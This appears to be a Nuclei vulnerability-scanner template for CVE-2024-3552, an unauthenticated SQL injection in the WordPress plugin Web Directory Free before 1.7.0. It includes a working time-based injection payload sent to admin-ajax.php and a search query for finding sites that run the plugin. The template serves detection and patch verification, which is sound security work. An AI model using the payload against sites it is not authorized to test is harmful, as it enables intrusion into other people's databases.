漏洞描述
The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection with different techniques like UNION, Time-Based and Error-Based.
id: CVE-2024-3552
info:
name: Web Directory Free < 1.7.0 - SQL Injection
author: s4e-io
severity: critical
description: |
The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection with different techniques like UNION, Time-Based and Error-Based.
remediation: Fixed in 1.7.0
reference:
- https://vulners.com/wpvulndb/CVE-2024-3552
- https://wpscan.com/vulnerability/34b03ee4-de81-4fec-9f3d-e1bd5b94d136/
classification:
epss-score: 0.93346
epss-percentile: 0.99809
cpe: cpe:2.3:a:salephpscripts:web_directory_free:*:*:*:*:wordpress:*:*:*
metadata:
verified: true
max-request: 1
vendor: salephpscripts
product: web_directory_free
publicwww-query: "/wp-content/plugins/web-directory-free"
tags: time-based-sqli,cve,cve2024,wordpress,wp-plugin,wpscan,wp,web-directory-free
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
part: body
words:
- "/wp-content/plugins/web-directory-free"
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=w2dc_get_map_marker_info&locations_ids[]=(select+if(1=1,sleep(6),0)+from+(select+1)x)
matchers:
- type: dsl
dsl:
- "duration>=6"
- "status_code == 200"
- regex('^\[\]$', body)
condition: and
# digest: 4a0a0047304502206632509916d4048255a5b6027a0e71d09b99db1f0520c71c9fd2929d2d416dce022100bc03fd9df540dc9565ce6bf0b5128271331d8289c5f688f6c79c1c9d4293acf3:922c64590222798bb761d5b6d8e72950